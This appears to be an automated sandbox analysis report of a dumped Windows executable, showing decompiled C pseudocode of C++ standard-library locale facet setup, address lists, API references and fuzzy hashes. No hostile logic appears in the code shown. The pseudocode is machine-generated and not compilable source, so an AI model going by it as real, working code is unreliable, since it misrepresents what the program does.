																																					 *((intOrPtr*)( *((intOrPtr*)( *_t487 + 4))))();
																																					 *0x4eddf4 = _t487;
																																					goto L75;
																																				}
																																			} else {
																																				_t487 = _t501;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t486 = _v16;
																																		_v16 = _t486;
																																		_v4 = 1;
																																		E0048919D(_t486);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t486 + 4))))();
																																		 *0x4ede24 = _t486;
																																		goto L68;
																																	}
																																} else {
																																	_t486 = _t500;
																																	goto L68;
																																}
																															}
																														} else {
																															_t485 = _v16;
																															_v16 = _t485;
																															_v4 = 1;
																															E0048919D(_t485);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t485 + 4))))();
																															 *0x4eddd8 = _t485;
																															goto L61;
																														}
																													} else {
																														_t485 = _t499;
																														goto L61;
																													}
																												}
																											} else {
																												_t484 = _v16;
																												_v16 = _t484;
																												_v4 = 1;
																												E0048919D(_t484);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t484 + 4))))();
																												 *0x4ede08 = _t484;
																												goto L54;
																											}
																										} else {
																											_t484 = _t498;
																											goto L54;
																										}
																									}
																								} else {
																									_t483 = _v16;
																									_v16 = _t483;
																									_v4 = 1;
																									E0048919D(_t483);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t483 + 4))))();
																									 *0x4eddd4 = _t483;
																									goto L47;
																								}
																							} else {
																								_t483 = _t497;
																								goto L47;
																							}
																						}
																					} else {
																						_t482 = _v16;
																						_v16 = _t482;
																						_v4 = 1;
																						E0048919D(_t482);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t482 + 4))))();
																						 *0x4ede04 = _t482;
																						goto L40;
																					}
																				} else {
																					_t482 = _t496;
																					goto L40;
																				}
																			}
																		} else {
																			_t481 = _v16;
																			_v16 = _t481;
																			_v4 = 1;
																			E0048919D(_t481);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t481 + 4))))();
																			 *0x4eddd0 = _t481;
																			goto L33;
																		}
																	} else {
																		_t481 = _t495;
																		goto L33;
																	}
																}
															} else {
																_t480 = _v16;
																_v16 = _t480;
																_v4 = 1;
																E0048919D(_t480);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t480 + 4))))();
																 *0x4ede00 = _t480;
																goto L26;
															}
														} else {
															_t480 = _t494;
															goto L26;
														}
													}
												} else {
													_t479 = _v16;
													_v16 = _t479;
													_v4 = 1;
													E0048919D(_t479);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t479 + 4))))();
													 *0x4eddec = _t479;
													goto L19;
												}
											} else {
												_t479 = _t493;
												goto L19;
											}
										}
									} else {
										_t478 = _v16;
										_v16 = _t478;
										_v4 = 1;
										E0048919D(_t478);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t478 + 4))))();
										 *0x4eddf0 = _t478;
										goto L12;
									}
								} else {
									_t478 = _t492;
									goto L12;
								}
							}
						} else {
							_t477 = _v16;
							_v16 = _t477;
							_v4 = 1;
							E0048919D(_t477);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t477 + 4))))();
							 *0x4ede1c = _t477;
							goto L5;
						}
					} else {
						_t477 = _t491;
						goto L5;
					}
				}
			}

0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c900
0x0048c905
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d

APIs

__EH_prolog3.LIBCMT ref: 0048C8D6
std::_Lockit::_Lockit.LIBCPMT ref: 0048C8E0

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048C91A
std::_Facet_Register.LIBCPMT ref: 0048C931
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C951
Concurrency::cancel_current_task.LIBCPMT ref: 0048C95E

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: f21903f133cc2ba64223b78dcfa5b558b85ac9618feb15af69d5e00521a02123
Instruction ID: 3734f5243c17de34b7f124b0e031fee1814de01fd7dfc4dfabcb5e61d80b180e
Opcode Fuzzy Hash: f21903f133cc2ba64223b78dcfa5b558b85ac9618feb15af69d5e00521a02123
Instruction Fuzzy Hash: D101C471E001298BCB05FB69D8566BEB775AF44324F54485FE411AB382CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C964, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C964(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v140;
				signed int _t153;
				void* _t279;
				short* _t403;
				void* _t440;
				signed int _t442;
				signed int _t443;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t459;
				signed int _t460;
				signed int _t461;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t465;
				short* _t466;
				void* _t483;
				void* _t484;

				_push(8);
				E0049D90B(0x4d6966, _t440, _t453);
				E00488DEA( &_v20, 0);
				_t454 =  *0x4eddf0; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t454;
				_t153 = E0042B315(_a8, E0042B22E(0x4edd9c, _t440, _t454, _t484));
				_t441 = _t153;
				if(_t153 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t441);
				} else {
					if(_t454 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E35E(_t441, _t454, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t441, _t454);
							E00488DEA( &_v20, 0);
							_t455 =  *0x4eddec; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t455;
							_t442 = E0042B315(_a8, E0042B22E(0x4edd98, _t441, _t455, __eflags));
							__eflags = _t442;
							if(_t442 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t442);
							} else {
								__eflags = _t455;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E3E2(_t442, _t455, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t442, _t455);
										E00488DEA( &_v20, 0);
										_t456 =  *0x4ede00; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t456;
										_t443 = E0042B315(_a8, E0042B22E(0x4edda4, _t442, _t456, __eflags));
										__eflags = _t443;
										if(_t443 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t443);
										} else {
											__eflags = _t456;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E467(_t443, _t456, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t443, _t456);
													E00488DEA( &_v20, 0);
													_t457 =  *0x4eddd0; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t457;
													_t444 = E0042B315(_a8, E0042B22E(0x4edd7c, _t443, _t457, __eflags));
													__eflags = _t444;
													if(_t444 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t444);
													} else {
														__eflags = _t457;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E4CF(_t444, _t457, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t444, _t457);
																E00488DEA( &_v20, 0);
																_t458 =  *0x4ede04; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t458;
																_t445 = E0042B315(_a8, E0042B22E(0x4edda8, _t444, _t458, __eflags));
																__eflags = _t445;
																if(_t445 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t445);
																} else {
																	__eflags = _t458;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E537(_t445, _t458, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t445, _t458);
																			E00488DEA( &_v20, 0);
																			_t459 =  *0x4eddd4; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t459;
																			_t446 = E0042B315(_a8, E0042B22E(0x4edd80, _t445, _t459, __eflags));
																			__eflags = _t446;
																			if(_t446 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t446);
																			} else {
																				__eflags = _t459;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E59F(_t446, _t459, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t446, _t459);
																						E00488DEA( &_v20, 0);
																						_t460 =  *0x4ede08; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t460;
																						_t447 = E0042B315(_a8, E0042B22E(0x4eddac, _t446, _t460, __eflags));
																						__eflags = _t447;
																						if(_t447 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t447);
																						} else {
																							__eflags = _t460;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E607(_t447, _t460, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t447, _t460);
																									E00488DEA( &_v20, 0);
																									_t461 =  *0x4eddd8; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t461;
																									_t448 = E0042B315(_a8, E0042B22E(0x4edd84, _t447, _t461, __eflags));
																									__eflags = _t448;
																									if(_t448 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t448);
																									} else {
																										__eflags = _t461;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E682(_t448, _t461, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t448, _t461);
																												E00488DEA( &_v20, 0);
																												_t462 =  *0x4ede24; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t462;
																												_t449 = E0042B315(_a8, E0042B22E(0x4eddc8, _t448, _t462, __eflags));
																												__eflags = _t449;
																												if(_t449 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t449);
																												} else {
																													__eflags = _t462;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E6FD(_t449, _t462, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t449, _t462);
																															E00488DEA( &_v20, 0);
																															_t463 =  *0x4eddf4; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t463;
																															_t450 = E0042B315(_a8, E0042B22E(0x4edda0, _t449, _t463, __eflags));
																															__eflags = _t450;
																															if(_t450 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t450);
																															} else {
																																__eflags = _t463;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E769(_t450, _t463, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t450, _t463);
																																		E00488DEA( &_v20, 0);
																																		_t464 =  *0x4ede28; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t464;
																																		_t451 = E0042B315(_a8, E0042B22E(0x4eddcc, _t450, _t464, __eflags));
																																		__eflags = _t451;
																																		if(_t451 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t451);
																																		} else {
																																			__eflags = _t464;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E7D5(_t451, _t464, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t451, _t464);
																																					E00488DEA( &_v20, 0);
																																					_t465 =  *0x4eddf8; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t465;
																																					_t452 = E0042B315(_a8, E0042B22E(0x4edd78, _t451, _t465, __eflags));
																																					__eflags = _t452;
																																					if(_t452 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t452);
																																					} else {
																																						__eflags = _t465;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							_t279 = E0048E849(_t452, _t465, __eflags);
																																							_pop(_t403);
																																							__eflags = _t279 - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(_t465);
																																								_t466 = _t403;
																																								_t146 = _t466 + 0x10;
																																								 *_t146 =  *(_t466 + 0x10) & 0x00000000;
																																								__eflags =  *_t146;
																																								 *((intOrPtr*)(_t466 + 0x14)) = 7;
																																								 *_t466 = 0;
																																								E00494BE0( *((intOrPtr*)(_t483 + 8)));
																																								return _t466;
																																							} else {
																																								_t452 = _v16;
																																								_v16 = _t452;
																																								_v4 = 1;
																																								E0048919D(_t452);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t452 + 4))))();
																																								 *0x4eddf8 = _t452;
																																								goto L82;
																																							}
																																						} else {
																																							_t452 = _t465;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t451 = _v16;
																																					_v16 = _t451;
																																					_v4 = 1;
																																					E0048919D(_t451);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t451 + 4))))();
																																					 *0x4ede28 = _t451;
																																					goto L75;
																																				}
																																			} else {
																																				_t451 = _t464;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t450 = _v16;
																																		_v16 = _t450;
																																		_v4 = 1;
																																		E0048919D(_t450);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t450 + 4))))();
																																		 *0x4eddf4 = _t450;
																																		goto L68;
																																	}
																																} else {
																																	_t450 = _t463;
																																	goto L68;
																																}
																															}
																														} else {
																															_t449 = _v16;
																															_v16 = _t449;
																															_v4 = 1;
																															E0048919D(_t449);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t449 + 4))))();
																															 *0x4ede24 = _t449;
																															goto L61;
																														}
																													} else {
																														_t449 = _t462;
																														goto L61;
																													}
																												}
																											} else {
																												_t448 = _v16;
																												_v16 = _t448;
																												_v4 = 1;
																												E0048919D(_t448);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t448 + 4))))();
																												 *0x4eddd8 = _t448;
																												goto L54;
																											}
																										} else {
																											_t448 = _t461;
																											goto L54;
																										}
																									}
																								} else {
																									_t447 = _v16;
																									_v16 = _t447;
																									_v4 = 1;
																									E0048919D(_t447);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t447 + 4))))();
																									 *0x4ede08 = _t447;
																									goto L47;
																								}
																							} else {
																								_t447 = _t460;
																								goto L47;
																							}
																						}
																					} else {
																						_t446 = _v16;
																						_v16 = _t446;
																						_v4 = 1;
																						E0048919D(_t446);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t446 + 4))))();
																						 *0x4eddd4 = _t446;
																						goto L40;
																					}
																				} else {
																					_t446 = _t459;
																					goto L40;
																				}
																			}
																		} else {
																			_t445 = _v16;
																			_v16 = _t445;
																			_v4 = 1;
																			E0048919D(_t445);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t445 + 4))))();
																			 *0x4ede04 = _t445;
																			goto L33;
																		}
																	} else {
																		_t445 = _t458;
																		goto L33;
																	}
																}
															} else {
																_t444 = _v16;
																_v16 = _t444;
																_v4 = 1;
																E0048919D(_t444);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t444 + 4))))();
																 *0x4eddd0 = _t444;
																goto L26;
															}
														} else {
															_t444 = _t457;
															goto L26;
														}
													}
												} else {
													_t443 = _v16;
													_v16 = _t443;
													_v4 = 1;
													E0048919D(_t443);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t443 + 4))))();
													 *0x4ede00 = _t443;
													goto L19;
												}
											} else {
												_t443 = _t456;
												goto L19;
											}
										}
									} else {
										_t442 = _v16;
										_v16 = _t442;
										_v4 = 1;
										E0048919D(_t442);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t442 + 4))))();
										 *0x4eddec = _t442;
										goto L12;
									}
								} else {
									_t442 = _t455;
									goto L12;
								}
							}
						} else {
							_t441 = _v16;
							_v16 = _t441;
							_v4 = 1;
							E0048919D(_t441);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t441 + 4))))();
							 *0x4eddf0 = _t441;
							goto L5;
						}
					} else {
						_t441 = _t454;
						goto L5;
					}
				}
			}

0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c995
0x0048c99a
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
